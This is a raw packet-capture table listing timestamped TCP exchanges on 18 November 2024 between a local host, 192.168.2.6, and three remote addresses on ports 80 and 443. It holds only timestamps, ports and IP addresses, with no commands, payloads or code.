Nov 18, 2024 05:57:49.393495083 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:49.393518925 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:49.393532038 CET	60430	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:49.393539906 CET	443	60430	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:49.395761013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:49.400621891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:49.400815964 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:49.401048899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:49.402652025 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.402684927 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.402736902 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.402746916 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.402769089 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.402817965 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.403112888 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.403112888 CET	60433	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.403146982 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.403182983 CET	443	60433	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.405827999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:49.406191111 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.406229973 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.406306982 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.406502008 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.406517029 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.468842030 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.469326973 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.469364882 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.469765902 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.469780922 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.472877979 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.473175049 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.473195076 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.473484039 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.473490000 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.599744081 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.599941969 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.600012064 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.600065947 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.600065947 CET	60434	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.600096941 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.600120068 CET	443	60434	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.601681948 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.601818085 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.601922989 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.602164030 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.602180004 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.602195978 CET	60435	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.602202892 CET	443	60435	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.602703094 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.602732897 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.602814913 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.603429079 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.603440046 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.604403019 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.604427099 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.604547024 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.604649067 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.604662895 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.746129036 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.746520042 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.746598005 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.746898890 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.746912956 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.879822969 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.879885912 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.879986048 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.879997015 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.880186081 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.880250931 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.880285978 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.880285978 CET	60436	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.880309105 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.880327940 CET	443	60436	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.882565022 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.882595062 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:49.882667065 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.882803917 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:49.882817030 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.046917915 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.051047087 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.051088095 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.051479101 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.051486969 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.141460896 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.143106937 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.143194914 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.143492937 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.143507004 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.178524017 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.178611040 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.178910017 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.178910017 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.178910971 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.181385994 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.181420088 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.182668924 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.182774067 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.182789087 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.273049116 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.273154974 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.273230076 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.273391962 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.273411036 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.273422956 CET	60439	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.273428917 CET	443	60439	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.276051044 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.276089907 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.276165962 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.276288033 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.276302099 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.314961910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.314990997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315001965 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315011978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315018892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315041065 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.315046072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315057039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315067053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.315068007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315079927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315093040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.315093994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.315114975 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.315128088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.320035934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.320064068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.320080996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.320113897 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.342263937 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.342761040 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.342773914 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.343435049 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.343439102 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.354099035 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.354573011 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.354598045 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.355122089 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.355125904 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.367420912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.469362974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469414949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469451904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469484091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.469540119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469563961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469582081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.469665051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469676018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.469717979 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.470252037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.470263004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.470273018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.470304012 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.470324993 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.470340967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.470354080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.470403910 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.470998049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.471041918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.471087933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.473944902 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.474004030 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.474047899 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.474224091 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.474236012 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.474245071 CET	60441	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.474250078 CET	443	60441	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.476823092 CET	60437	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.476887941 CET	443	60437	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.477443933 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.477538109 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.477622986 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.477741003 CET	60445	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.477778912 CET	443	60445	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490075111 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490804911 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490861893 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.490876913 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490916967 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490951061 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.490967989 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490979910 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.490979910 CET	60440	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.490986109 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.490992069 CET	443	60440	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.493298054 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.493362904 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.493438005 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.493540049 CET	60446	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.493571997 CET	443	60446	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.589417934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589436054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589477062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.589567900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589637041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589683056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.589687109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589710951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589747906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.589799881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589842081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589870930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.589878082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.590152025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.590190887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.590205908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.590220928 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.590250015 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.623140097 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.623625040 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.623640060 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.623821974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.623837948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.623878956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.624083996 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.624089003 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.630054951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.630084991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.630101919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.630125046 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.679910898 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709088087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709109068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709125996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709155083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709167004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709216118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709295034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709383011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709398985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709424973 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709589005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709604979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709619999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709631920 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709656000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.709913969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709939003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.709980011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.743601084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.743642092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.743657112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.743707895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.749669075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.749732971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.749754906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.749828100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.749841928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.749869108 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.755692959 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.755711079 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.755750895 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.755758047 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.755795956 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.756032944 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.756046057 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.756056070 CET	60442	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.756062031 CET	443	60442	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.759516001 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.759613991 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.759732962 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.759890079 CET	60447	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.759927988 CET	443	60447	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.804960012 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.828749895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.828771114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.828788042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.828826904 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.828859091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.828872919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.828903913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.829108953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.829123020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.829158068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.829257011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.829271078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.829287052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.829299927 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.829324961 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.863528013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.863557100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.863571882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.863588095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.863706112 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.869668961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.869718075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.869734049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.869749069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.869788885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.869810104 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.911382914 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.912064075 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.912080050 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.912548065 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:50.912552118 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:50.948519945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948542118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948559046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948581934 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.948842049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948858023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948875904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.948887110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.948916912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.948981047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.949007988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.949023962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.949048042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.983256102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.983285904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.983306885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.983309984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.983334064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.983356953 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.989279985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.989296913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.989314079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.989326000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.989356995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:50.989434004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.989448071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:50.989485025 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:51.031713009 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.032330990 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.032388926 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.032850981 CET	60444	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.032865047 CET	443	60444	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.042790890 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.043560028 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.043616056 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.043649912 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.043663025 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.043672085 CET	60443	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.043677092 CET	443	60443	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.046317101 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.046392918 CET	443	60448	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:51.046473026 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.046601057 CET	60448	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:51.046636105 CET	443	60448	13.107.246.45	192.168.2.6
